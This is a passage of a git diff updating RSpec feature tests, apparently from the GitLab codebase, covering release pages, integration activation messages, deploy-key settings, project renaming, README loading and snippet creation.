+ link = release.links.find { |l| l.link_type == link_1[:type] }
+ expect(link.url).to eq(link_1[:url])
+ expect(link.name).to eq(link_1[:title])
+
+ link = release.links.find { |l| l.link_type == link_2[:type] }
+ expect(link.url).to eq(link_2[:url])
+ expect(link.name).to eq(link_2[:title])
+ end
+
+ it 'redirects to the dedicated page for the newly created release' do
+ release = project.releases.last
+
+ expect(page).to have_current_path(project_release_path(project, release))
+ end
+
+ context 'when the release_show_page feature flag is disabled' do
+ let(:show_feature_flag) { false }
+
+ it 'redirects to the main "Releases" page' do
+ expect(page).to have_current_path(project_releases_path(project))
+ end
+ end
+ end
+
+ context 'when the "Cancel" button is clicked' do
+ before do
+ click_link_or_button 'Cancel'
+
+ wait_for_all_requests
+ end
+
+ it 'redirects to the main "Releases" page' do
+ expect(page).to have_current_path(project_releases_path(project))
+ end
+
+ context 'when the URL includes a back_url query parameter' do
+ let(:back_path) { project_releases_path(project, params: { page: 2 }) }
+ let(:new_page_url) do
+ new_project_release_path(project, params: { back_url: back_path })
+ end
+
+ it 'redirects to the page specified with back_url' do
+ expect(page).to have_current_path(back_path)
+ end
+ end
+ end
+
+ def fill_out_form_and_submit
+ fill_tag_name(tag_name)
+
+ select_create_from(branch.name)
+
+ fill_release_title(release_title)
+
+ select_milestone(milestone_1.title, and_tab: false)
+ select_milestone(milestone_2.title)
+
+ # Focus the "Release notes" field by clicking instead of tabbing
+ # because tabbing to the field requires too many tabs
+ # (see https://gitlab.com/gitlab-org/gitlab/-/issues/238619)
+ find_field('Release notes').click
+ fill_release_notes(release_notes)
+
+ # Tab past the "assets" documentation link
+ focused_element.send_keys(:tab)
+
+ fill_asset_link(link_1)
+ add_another_asset_link
+ fill_asset_link(link_2)
+
+ # Submit using the Control+Enter shortcut
+ focused_element.send_keys([:control, :enter])
+
+ wait_for_all_requests
+ end
+
+ def branch
+ project.repository.branches.find { |b| b.name == 'feature' }
+ end
+
+ def commit
+ branch.dereferenced_target
+ end
+end
diff --git a/spec/features/projects/releases/user_views_releases_spec.rb b/spec/features/projects/releases/user_views_releases_spec.rb
index 962d5551631..993d3371904 100644
--- a/spec/features/projects/releases/user_views_releases_spec.rb
+++ b/spec/features/projects/releases/user_views_releases_spec.rb
@@ -13,37 +13,25 @@ RSpec.describe 'User views releases', :js do
project.add_guest(guest)
end
- context('when the user is a maintainer') do
- before do
- gitlab_sign_in(maintainer)
- end
-
- it 'sees the release' do
- visit project_releases_path(project)
-
- expect(page).to have_content(release.name)
- expect(page).to have_content(release.tag)
- expect(page).not_to have_content('Upcoming Release')
- end
-
- shared_examples 'asset link tests' do
- context 'when there is a link as an asset' do
- let!(:release_link) { create(:release_link, release: release, url: url ) }
- let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
- let(:direct_asset_link) { Gitlab::Routing.url_helpers.project_release_url(project, release) << release_link.filepath }
+ shared_examples 'releases page' do
+ context('when the user is a maintainer') do
+ before do
+ gitlab_sign_in(maintainer)
+ end
- it 'sees the link' do
- visit project_releases_path(project)
+ it 'sees the release' do
+ visit project_releases_path(project)
- page.within('.js-assets-list') do
- expect(page).to have_link release_link.name, href: direct_asset_link
- expect(page).not_to have_css('[data-testid="external-link-indicator"]')
- end
- end
+ expect(page).to have_content(release.name)
+ expect(page).to have_content(release.tag)
+ expect(page).not_to have_content('Upcoming Release')
+ end
- context 'when there is a link redirect' do
- let!(:release_link) { create(:release_link, release: release, name: 'linux-amd64 binaries', filepath: '/binaries/linux-amd64', url: url) }
+ shared_examples 'asset link tests' do
+ context 'when there is a link as an asset' do
+ let!(:release_link) { create(:release_link, release: release, url: url ) }
let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
+ let(:direct_asset_link) { Gitlab::Routing.url_helpers.project_release_url(project, release) << release_link.filepath }
it 'sees the link' do
visit project_releases_path(project)
@@ -53,77 +41,103 @@ RSpec.describe 'User views releases', :js do
expect(page).not_to have_css('[data-testid="external-link-indicator"]')
end
end
- end
- context 'when url points to external resource' do
- let(:url) { 'http://google.com/download' }
+ context 'when there is a link redirect' do
+ let!(:release_link) { create(:release_link, release: release, name: 'linux-amd64 binaries', filepath: '/binaries/linux-amd64', url: url) }
+ let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
- it 'sees that the link is external resource' do
- visit project_releases_path(project)
+ it 'sees the link' do
+ visit project_releases_path(project)
- page.within('.js-assets-list') do
- expect(page).to have_css('[data-testid="external-link-indicator"]')
+ page.within('.js-assets-list') do
+ expect(page).to have_link release_link.name, href: direct_asset_link
+ expect(page).not_to have_css('[data-testid="external-link-indicator"]')
+ end
+ end
+ end
+
+ context 'when url points to external resource' do
+ let(:url) { 'http://google.com/download' }
+
+ it 'sees that the link is external resource' do
+ visit project_releases_path(project)
+
+ page.within('.js-assets-list') do
+ expect(page).to have_css('[data-testid="external-link-indicator"]')
+ end
end
end
end
end
- end
- context 'when the release_asset_link_type feature flag is enabled' do
- before do
- stub_feature_flags(release_asset_link_type: true)
+ context 'when the release_asset_link_type feature flag is enabled' do
+ before do
+ stub_feature_flags(release_asset_link_type: true)
+ end
+
+ it_behaves_like 'asset link tests'
end
- it_behaves_like 'asset link tests'
- end
+ context 'when the release_asset_link_type feature flag is disabled' do
+ before do
+ stub_feature_flags(release_asset_link_type: false)
+ end
- context 'when the release_asset_link_type feature flag is disabled' do
- before do
- stub_feature_flags(release_asset_link_type: false)
+ it_behaves_like 'asset link tests'
end
- it_behaves_like 'asset link tests'
- end
+ context 'with an upcoming release' do
+ let(:tomorrow) { Time.zone.now + 1.day }
+ let!(:release) { create(:release, project: project, released_at: tomorrow ) }
- context 'with an upcoming release' do
- let(:tomorrow) { Time.zone.now + 1.day }
- let!(:release) { create(:release, project: project, released_at: tomorrow ) }
+ it 'sees the upcoming tag' do
+ visit project_releases_path(project)
- it 'sees the upcoming tag' do
- visit project_releases_path(project)
+ expect(page).to have_content('Upcoming Release')
+ end
+ end
+
+ context 'with a tag containing a slash' do
+ it 'sees the release' do
+ release = create :release, project: project, tag: 'debian/2.4.0-1'
+ visit project_releases_path(project)
- expect(page).to have_content('Upcoming Release')
+ expect(page).to have_content(release.name)
+ expect(page).to have_content(release.tag)
+ end
end
end
- context 'with a tag containing a slash' do
- it 'sees the release' do
- release = create :release, project: project, tag: 'debian/2.4.0-1'
+ context('when the user is a guest') do
+ before do
+ gitlab_sign_in(guest)
+ end
+
+ it 'renders release info except for Git-related data' do
visit project_releases_path(project)
- expect(page).to have_content(release.name)
- expect(page).to have_content(release.tag)
+ within('.release-block') do
+ expect(page).to have_content(release.description)
+
+ # The following properties (sometimes) include Git info,
+ # so they are not rendered for Guest users
+ expect(page).not_to have_content(release.name)
+ expect(page).not_to have_content(release.tag)
+ expect(page).not_to have_content(release.commit.short_id)
+ end
end
end
end
- context('when the user is a guest') do
+ context 'when the graphql_releases_page feature flag is enabled' do
+ it_behaves_like 'releases page'
+ end
+
+ context 'when the graphql_releases_page feature flag is disabled' do
before do
- gitlab_sign_in(guest)
+ stub_feature_flags(graphql_releases_page: false)
end
- it 'renders release info except for Git-related data' do
- visit project_releases_path(project)
-
- within('.release-block') do
- expect(page).to have_content(release.description)
-
- # The following properties (sometimes) include Git info,
- # so they are not rendered for Guest users
- expect(page).not_to have_content(release.name)
- expect(page).not_to have_content(release.tag)
- expect(page).not_to have_content(release.commit.short_id)
- end
- end
+ it_behaves_like 'releases page'
end
end
diff --git a/spec/features/projects/services/user_activates_asana_spec.rb b/spec/features/projects/services/user_activates_asana_spec.rb
index 3e24d106be0..e95e7e89fc2 100644
--- a/spec/features/projects/services/user_activates_asana_spec.rb
+++ b/spec/features/projects/services/user_activates_asana_spec.rb
@@ -12,6 +12,6 @@ RSpec.describe 'User activates Asana' do
click_test_then_save_integration
- expect(page).to have_content('Asana activated.')
+ expect(page).to have_content('Asana settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_assembla_spec.rb b/spec/features/projects/services/user_activates_assembla_spec.rb
index 2e49f4caa82..63cc424a641 100644
--- a/spec/features/projects/services/user_activates_assembla_spec.rb
+++ b/spec/features/projects/services/user_activates_assembla_spec.rb
@@ -13,8 +13,8 @@ RSpec.describe 'User activates Assembla' do
visit_project_integration('Assembla')
fill_in('Token', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Assembla activated.')
+ expect(page).to have_content('Assembla settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb b/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
index 7b89b9ac4a7..a9d91454670 100644
--- a/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
+++ b/spec/features/projects/services/user_activates_atlassian_bamboo_ci_spec.rb
@@ -16,9 +16,9 @@ RSpec.describe 'User activates Atlassian Bamboo CI' do
fill_in('Username', with: 'user')
fill_in('Password', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Atlassian Bamboo CI activated.')
+ expect(page).to have_content('Atlassian Bamboo CI settings saved and active.')
# Password field should not be filled in.
click_link('Atlassian Bamboo CI')
diff --git a/spec/features/projects/services/user_activates_emails_on_push_spec.rb b/spec/features/projects/services/user_activates_emails_on_push_spec.rb
index 40947027146..5a075fc61e8 100644
--- a/spec/features/projects/services/user_activates_emails_on_push_spec.rb
+++ b/spec/features/projects/services/user_activates_emails_on_push_spec.rb
@@ -9,8 +9,8 @@ RSpec.describe 'User activates Emails on push' do
visit_project_integration('Emails on push')
fill_in('Recipients', with: 'qa@company.name')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Emails on push activated.')
+ expect(page).to have_content('Emails on push settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_flowdock_spec.rb b/spec/features/projects/services/user_activates_flowdock_spec.rb
index 9581d718400..4a4d7bbecfd 100644
--- a/spec/features/projects/services/user_activates_flowdock_spec.rb
+++ b/spec/features/projects/services/user_activates_flowdock_spec.rb
@@ -15,8 +15,8 @@ RSpec.describe 'User activates Flowdock' do
visit_project_integration('Flowdock')
fill_in('Token', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Flowdock activated.')
+ expect(page).to have_content('Flowdock settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_hipchat_spec.rb b/spec/features/projects/services/user_activates_hipchat_spec.rb
index a2820c4bb0f..cffb780e05d 100644
--- a/spec/features/projects/services/user_activates_hipchat_spec.rb
+++ b/spec/features/projects/services/user_activates_hipchat_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe 'User activates HipChat', :js do
include_context 'project service activation'
- context 'with standart settings' do
+ context 'with standard settings' do
before do
stub_request(:post, /.*api.hipchat.com.*/)
end
@@ -15,9 +15,9 @@ RSpec.describe 'User activates HipChat', :js do
fill_in('Room', with: 'gitlab')
fill_in('Token', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('HipChat activated.')
+ expect(page).to have_content('HipChat settings saved and active.')
end
end
@@ -32,9 +32,9 @@ RSpec.describe 'User activates HipChat', :js do
fill_in('Token', with: 'secretCustom')
fill_in('Server', with: 'https://chat.example.com')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('HipChat activated.')
+ expect(page).to have_content('HipChat settings saved and active.')
end
end
end
diff --git a/spec/features/projects/services/user_activates_irker_spec.rb b/spec/features/projects/services/user_activates_irker_spec.rb
index fad40fa6085..e4d92dc30ff 100644
--- a/spec/features/projects/services/user_activates_irker_spec.rb
+++ b/spec/features/projects/services/user_activates_irker_spec.rb
@@ -10,8 +10,8 @@ RSpec.describe 'User activates Irker (IRC gateway)' do
check('Colorize messages')
fill_in('Recipients', with: 'irc://chat.freenode.net/#commits')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Irker (IRC gateway) activated.')
+ expect(page).to have_content('Irker (IRC gateway) settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_issue_tracker_spec.rb b/spec/features/projects/services/user_activates_issue_tracker_spec.rb
index 4f25794d058..1aec8883395 100644
--- a/spec/features/projects/services/user_activates_issue_tracker_spec.rb
+++ b/spec/features/projects/services/user_activates_issue_tracker_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'User activates issue tracker', :js do
let(:url) { 'http://tracker.example.com' }
def fill_form(disable: false, skip_new_issue_url: false)
- click_active_toggle if disable
+ click_active_checkbox if disable
fill_in 'service_project_url', with: url
fill_in 'service_issues_url', with: "#{url}/:id"
@@ -16,7 +16,7 @@ RSpec.describe 'User activates issue tracker', :js do
fill_in 'service_new_issue_url', with: url unless skip_new_issue_url
end
- shared_examples 'external issue tracker activation' do |tracker:, skip_new_issue_url: false|
+ shared_examples 'external issue tracker activation' do |tracker:, skip_new_issue_url: false, skip_test: false|
describe 'user sets and activates the Service' do
context 'when the connection test succeeds' do
before do
@@ -25,11 +25,15 @@ RSpec.describe 'User activates issue tracker', :js do
visit_project_integration(tracker)
fill_form(skip_new_issue_url: skip_new_issue_url)
- click_test_integration
+ if skip_test
+ click_save_integration
+ else
+ click_test_then_save_integration(expect_test_to_fail: false)
+ end
end
it 'activates the service' do
- expect(page).to have_content("#{tracker} activated.")
+ expect(page).to have_content("#{tracker} settings saved and active.")
expect(current_path).to eq(edit_project_service_path(project, tracker.parameterize(separator: '_')))
end
@@ -47,9 +51,13 @@ RSpec.describe 'User activates issue tracker', :js do
visit_project_integration(tracker)
fill_form(skip_new_issue_url: skip_new_issue_url)
- click_test_then_save_integration
+ if skip_test
+ click_button('Save changes')
+ else
+ click_test_then_save_integration
+ end
- expect(page).to have_content("#{tracker} activated.")
+ expect(page).to have_content("#{tracker} settings saved and active.")
expect(current_path).to eq(edit_project_service_path(project, tracker.parameterize(separator: '_')))
end
end
@@ -64,7 +72,7 @@ RSpec.describe 'User activates issue tracker', :js do
end
it 'saves but does not activate the service' do
- expect(page).to have_content("#{tracker} settings saved, but not activated.")
+ expect(page).to have_content("#{tracker} settings saved, but not active.")
expect(current_path).to eq(edit_project_service_path(project, tracker.parameterize(separator: '_')))
end
@@ -80,4 +88,5 @@ RSpec.describe 'User activates issue tracker', :js do
it_behaves_like 'external issue tracker activation', tracker: 'YouTrack', skip_new_issue_url: true
it_behaves_like 'external issue tracker activation', tracker: 'Bugzilla'
it_behaves_like 'external issue tracker activation', tracker: 'Custom Issue Tracker'
+ it_behaves_like 'external issue tracker activation', tracker: 'EWM', skip_test: true
end
diff --git a/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb b/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
index 8ee369eb6ec..72881054c6c 100644
--- a/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
+++ b/spec/features/projects/services/user_activates_jetbrains_teamcity_ci_spec.rb
@@ -18,8 +18,8 @@ RSpec.describe 'User activates JetBrains TeamCity CI' do
fill_in('Username', with: 'user')
fill_in('Password', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('JetBrains TeamCity CI activated.')
+ expect(page).to have_content('JetBrains TeamCity CI settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_jira_spec.rb b/spec/features/projects/services/user_activates_jira_spec.rb
index 483671c4b5b..85afc54be48 100644
--- a/spec/features/projects/services/user_activates_jira_spec.rb
+++ b/spec/features/projects/services/user_activates_jira_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe 'User activates Jira', :js do
include_context 'project service activation'
include_context 'project service Jira context'
- describe 'user sets and activates Jira Service' do
+ describe 'user tests Jira Service' do
context 'when Jira connection test succeeds' do
before do
server_info = { key: 'value' }.to_json
@@ -14,11 +14,11 @@ RSpec.describe 'User activates Jira', :js do
visit_project_integration('Jira')
fill_form
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
end
it 'activates the Jira service' do
- expect(page).to have_content('Jira activated.')
+ expect(page).to have_content('Jira settings saved and active.')
expect(current_path).to eq(edit_project_service_path(project, :jira))
end
@@ -54,21 +54,24 @@ RSpec.describe 'User activates Jira', :js do
fill_form
click_test_then_save_integration
- expect(page).to have_content('Jira activated.')
+ expect(page).to have_content('Jira settings saved and active.')
expect(current_path).to eq(edit_project_service_path(project, :jira))
end
end
end
describe 'user disables the Jira Service' do
+ include JiraServiceHelper
+
before do
+ stub_jira_service_test
visit_project_integration('Jira')
fill_form(disable: true)
- click_button('Save changes')
+ click_save_integration
end
it 'saves but does not activate the Jira service' do
- expect(page).to have_content('Jira settings saved, but not activated.')
+ expect(page).to have_content('Jira settings saved, but not active.')
expect(current_path).to eq(edit_project_service_path(project, :jira))
end
diff --git a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
index 6ddffb710a8..32519b14d4e 100644
--- a/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
+++ b/spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
@@ -28,21 +28,21 @@ RSpec.describe 'Set up Mattermost slash commands', :js do
token = ('a'..'z').to_a.join
fill_in 'service_token', with: token
- click_active_toggle
- click_on 'Save changes'
+ click_active_checkbox
+ click_save_integration
expect(current_path).to eq(edit_project_service_path(project, :mattermost_slash_commands))
- expect(page).to have_content('Mattermost slash commands settings saved, but not activated.')
+ expect(page).to have_content('Mattermost slash commands settings saved, but not active.')
end
it 'redirects to the integrations page after activating' do
token = ('a'..'z').to_a.join
fill_in 'service_token', with: token
- click_on 'Save changes'
+ click_save_integration
expect(current_path).to eq(edit_project_service_path(project, :mattermost_slash_commands))
- expect(page).to have_content('Mattermost slash commands activated.')
+ expect(page).to have_content('Mattermost slash commands settings saved and active.')
end
it 'shows the add to mattermost button' do
diff --git a/spec/features/projects/services/user_activates_packagist_spec.rb b/spec/features/projects/services/user_activates_packagist_spec.rb
index 70cf612bb2a..87303cf8fb4 100644
--- a/spec/features/projects/services/user_activates_packagist_spec.rb
+++ b/spec/features/projects/services/user_activates_packagist_spec.rb
@@ -16,6 +16,6 @@ RSpec.describe 'User activates Packagist' do
click_test_then_save_integration
- expect(page).to have_content('Packagist activated.')
+ expect(page).to have_content('Packagist settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_pivotaltracker_spec.rb b/spec/features/projects/services/user_activates_pivotaltracker_spec.rb
index 8e99c6e303b..83f66d4fa7b 100644
--- a/spec/features/projects/services/user_activates_pivotaltracker_spec.rb
+++ b/spec/features/projects/services/user_activates_pivotaltracker_spec.rb
@@ -13,8 +13,8 @@ RSpec.describe 'User activates PivotalTracker' do
visit_project_integration('PivotalTracker')
fill_in('Token', with: 'verySecret')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('PivotalTracker activated.')
+ expect(page).to have_content('PivotalTracker settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_prometheus_spec.rb b/spec/features/projects/services/user_activates_prometheus_spec.rb
index 89b1f447c32..b89e89d250f 100644
--- a/spec/features/projects/services/user_activates_prometheus_spec.rb
+++ b/spec/features/projects/services/user_activates_prometheus_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'User activates Prometheus' do
click_button('Save changes')
- expect(page).not_to have_content('Prometheus activated.')
+ expect(page).not_to have_content('Prometheus settings saved and active.')
expect(page).to have_content('Fields on this page has been deprecated.')
end
end
diff --git a/spec/features/projects/services/user_activates_pushover_spec.rb b/spec/features/projects/services/user_activates_pushover_spec.rb
index 789cc30a42e..3cfd069032a 100644
--- a/spec/features/projects/services/user_activates_pushover_spec.rb
+++ b/spec/features/projects/services/user_activates_pushover_spec.rb
@@ -17,8 +17,8 @@ RSpec.describe 'User activates Pushover' do
select('High Priority', from: 'Priority')
select('Bike', from: 'Sound')
- click_test_integration
+ click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('Pushover activated.')
+ expect(page).to have_content('Pushover settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_slack_notifications_spec.rb b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
index 20e2bd3f085..2a880e05e0f 100644
--- a/spec/features/projects/services/user_activates_slack_notifications_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_notifications_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe 'User activates Slack notifications', :js do
click_test_then_save_integration
- expect(page).to have_content('Slack notifications activated.')
+ expect(page).to have_content('Slack notifications settings saved and active.')
end
end
diff --git a/spec/features/projects/services/user_activates_slack_slash_command_spec.rb b/spec/features/projects/services/user_activates_slack_slash_command_spec.rb
index afe6855d6ad..3994f55caee 100644
--- a/spec/features/projects/services/user_activates_slack_slash_command_spec.rb
+++ b/spec/features/projects/services/user_activates_slack_slash_command_spec.rb
@@ -21,11 +21,11 @@ RSpec.describe 'Slack slash commands', :js do
it 'redirects to the integrations page after saving but not activating' do
fill_in 'Token', with: 'token'
- click_active_toggle
+ click_active_checkbox
click_on 'Save'
expect(current_path).to eq(edit_project_service_path(project, :slack_slash_commands))
- expect(page).to have_content('Slack slash commands settings saved, but not activated.')
+ expect(page).to have_content('Slack slash commands settings saved, but not active.')
end
it 'redirects to the integrations page after activating' do
@@ -33,7 +33,7 @@ RSpec.describe 'Slack slash commands', :js do
click_on 'Save'
expect(current_path).to eq(edit_project_service_path(project, :slack_slash_commands))
- expect(page).to have_content('Slack slash commands activated.')
+ expect(page).to have_content('Slack slash commands settings saved and active.')
end
it 'shows the correct trigger url' do
diff --git a/spec/features/projects/settings/repository_settings_spec.rb b/spec/features/projects/settings/repository_settings_spec.rb
index 8beecedf85f..8c7b7bc70a2 100644
--- a/spec/features/projects/settings/repository_settings_spec.rb
+++ b/spec/features/projects/settings/repository_settings_spec.rb
@@ -70,7 +70,7 @@ RSpec.describe 'Projects > Settings > Repository settings' do
project.deploy_keys << private_deploy_key
visit project_settings_repository_path(project)
- find('.deploy-key', text: private_deploy_key.title).find('.ic-pencil').click
+ find('.deploy-key', text: private_deploy_key.title).find('[data-testid="pencil-icon"]').click
fill_in 'deploy_key_title', with: 'updated_deploy_key'
check 'deploy_key_deploy_keys_projects_attributes_0_can_push'
@@ -84,7 +84,7 @@ RSpec.describe 'Projects > Settings > Repository settings' do
project.deploy_keys << public_deploy_key
visit project_settings_repository_path(project)
- find('.deploy-key', text: public_deploy_key.title).find('.ic-pencil').click
+ find('.deploy-key', text: public_deploy_key.title).find('[data-testid="pencil-icon"]').click
check 'deploy_key_deploy_keys_projects_attributes_0_can_push'
click_button 'Save changes'
@@ -102,7 +102,7 @@ RSpec.describe 'Projects > Settings > Repository settings' do
find('.js-deployKeys-tab-available_project_keys').click
- find('.deploy-key', text: private_deploy_key.title).find('.ic-pencil').click
+ find('.deploy-key', text: private_deploy_key.title).find('[data-testid="pencil-icon"]').click
fill_in 'deploy_key_title', with: 'updated_deploy_key'
click_button 'Save changes'
@@ -116,7 +116,7 @@ RSpec.describe 'Projects > Settings > Repository settings' do
project.deploy_keys << private_deploy_key
visit project_settings_repository_path(project)
- accept_confirm { find('.deploy-key', text: private_deploy_key.title).find('.ic-remove').click }
+ accept_confirm { find('.deploy-key', text: private_deploy_key.title).find('[data-testid="remove-icon"]').click }
expect(page).not_to have_content(private_deploy_key.title)
end
diff --git a/spec/features/projects/settings/user_renames_a_project_spec.rb b/spec/features/projects/settings/user_renames_a_project_spec.rb
index 6088ea31661..1ff976eb800 100644
--- a/spec/features/projects/settings/user_renames_a_project_spec.rb
+++ b/spec/features/projects/settings/user_renames_a_project_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe 'Projects > Settings > User renames a project' do
it 'shows errors for invalid project path' do
change_path(project, 'foo&bar')
- expect(page).to have_field 'Path', with: 'foo&bar'
+ expect(page).to have_field 'Path', with: 'gitlab'
expect(page).to have_content "Path can contain only letters, digits, '_', '-' and '.'. Cannot start with '-', end in '.git' or end in '.atom'"
end
end
diff --git a/spec/features/projects/show/user_sees_readme_spec.rb b/spec/features/projects/show/user_sees_readme_spec.rb
index 250f707948e..6a5b9472be8 100644
--- a/spec/features/projects/show/user_sees_readme_spec.rb
+++ b/spec/features/projects/show/user_sees_readme_spec.rb
@@ -14,4 +14,25 @@ RSpec.describe 'Projects > Show > User sees README' do
expect(page).to have_content 'testme'
end
end
+
+ context 'obeying robots.txt' do
+ before do
+ Gitlab::Testing::RobotsBlockerMiddleware.block_requests!
+ end
+
+ after do
+ Gitlab::Testing::RobotsBlockerMiddleware.allow_requests!
+ end
+
+ # For example, see this regression we had in
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39520
+ it 'does not block the requests necessary to load the project README', :js do
+ visit project_path(project)
+ wait_for_requests
+
+ page.within('.readme-holder') do
+ expect(page).to have_content 'testme'
+ end
+ end
+ end
end
diff --git a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
index afa9de5ce86..81736fefae9 100644
--- a/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
+++ b/spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
@@ -226,7 +226,7 @@ RSpec.describe 'Projects > Show > User sees setup shortcut buttons' do
expect(project.repository.gitlab_ci_yml).to be_nil
page.within('.project-buttons') do
- expect(page).to have_link('Set up CI/CD', href: presenter.add_ci_yml_path)
+ expect(page).to have_link('Set up CI/CD', href: presenter.add_ci_yml_ide_path)
end
end
diff --git a/spec/features/projects/snippets/create_snippet_spec.rb b/spec/features/projects/snippets/create_snippet_spec.rb
index 3db870f229a..503246bbdcf 100644
--- a/spec/features/projects/snippets/create_snippet_spec.rb
+++ b/spec/features/projects/snippets/create_snippet_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Projects > Snippets > Create Snippet', :js do
include DropzoneHelper
+ include Spec::Support::Helpers::Features::SnippetSpecHelpers
let_it_be(:user) { create(:user) }
let_it_be(:project) do
@@ -16,96 +17,115 @@ RSpec.describe 'Projects > Snippets > Create Snippet', :js do
let(:file_content) { 'Hello World!' }
let(:md_description) { 'My Snippet **Description**' }
let(:description) { 'My Snippet Description' }
+ let(:snippet_title_field) { 'project_snippet_title' }
- before do
- stub_feature_flags(snippets_vue: false)
- stub_feature_flags(snippets_edit_vue: false)
+ shared_examples 'snippet creation' do
+ def fill_form
+ snippet_fill_in_form(title: title, content: file_content, description: md_description)
+ end
- sign_in(user)
+ it 'shows collapsible description input' do
+ collapsed = description_field
- visit new_project_snippet_path(project)
- end
+ expect(page).not_to have_field(snippet_description_field)
+ expect(collapsed).to be_visible
- def description_field
- find('.js-description-input').find('input,textarea')
- end
+ collapsed.click
- def fill_form
- fill_in 'project_snippet_title', with: title
+ expect(page).to have_field(snippet_description_field)
+ expect(collapsed).not_to be_visible
+ end
- # Click placeholder first to expand full description field
- description_field.click
- fill_in 'project_snippet_description', with: md_description
+ it 'creates a new snippet' do
+ fill_form
+ click_button('Create snippet')
+ wait_for_requests
- page.within('.file-editor') do
- el = find('.inputarea')
- el.send_keys file_content
+ expect(page).to have_content(title)
+ expect(page).to have_content(file_content)
+ page.within(snippet_description_view_selector) do
+ expect(page).to have_content(description)
+ expect(page).to have_selector('strong')
+ end
end
- end
- it 'shows collapsible description input' do
- collapsed = description_field
+ it 'uploads a file when dragging into textarea' do
+ fill_form
+ dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
- expect(page).not_to have_field('project_snippet_description')
- expect(collapsed).to be_visible
+ expect(snippet_description_value).to have_content('banana_sample')
- collapsed.click
+ click_button('Create snippet')
+ wait_for_requests
- expect(page).to have_field('project_snippet_description')
- expect(collapsed).not_to be_visible
- end
+ link = find('a.no-attachment-icon img[alt="banana_sample"]')['src']
+ expect(link).to match(%r{/#{Regexp.escape(project.full_path)}/uploads/\h{32}/banana_sample\.gif\z})
+ end
+
+ context 'when the git operation fails' do
+ let(:error) { 'Error creating the snippet' }
- it 'creates a new snippet' do
- fill_form
- click_button('Create snippet')
- wait_for_requests
+ before do
+ allow_next_instance_of(Snippets::CreateService) do |instance|
+ allow(instance).to receive(:create_commit).and_raise(StandardError, error)
+ end
- expect(page).to have_content(title)
- expect(page).to have_content(file_content)
- page.within('.snippet-header .description') do
- expect(page).to have_content(description)
- expect(page).to have_selector('strong')
+ fill_form
+
+ click_button('Create snippet')
+ wait_for_requests
+ end
+
+ it 'renders the new page and displays the error' do
+ expect(page).to have_content(error)
+ expect(page).to have_content('New Snippet')
+ end
end
end
- it 'uploads a file when dragging into textarea' do
- fill_form
- dropzone_file Rails.root.join('spec', 'fixtures', 'banana_sample.gif')
+ context 'Vue application' do
+ let(:snippet_description_field) { 'snippet-description' }
+ let(:snippet_description_view_selector) { '.snippet-header .snippet-description' }
- expect(page.find_field('project_snippet_description').value).to have_content('banana_sample')
+ before do
+ sign_in(user)
+
+ visit new_project_snippet_path(project)
+ end
- click_button('Create snippet')
- wait_for_requests
+ it_behaves_like 'snippet creation'
- link = find('a.no-attachment-icon img[alt="banana_sample"]')['src']
- expect(link).to match(%r{/#{Regexp.escape(project.full_path)}/uploads/\h{32}/banana_sample\.gif\z})
- end
+ it 'does not allow submitting the form without title and content' do
+ fill_in snippet_title_field, with: title
- it 'displays validation errors' do
- fill_in 'project_snippet_title', with: title
- click_button('Create snippet')
- wait_for_requests
+ expect(page).not_to have_button('Create snippet')
- expect(page).to have_selector('#error_explanation')
+ snippet_fill_in_form(title: title, content: file_content)
+ expect(page).to have_button('Create snippet')
+ end
end
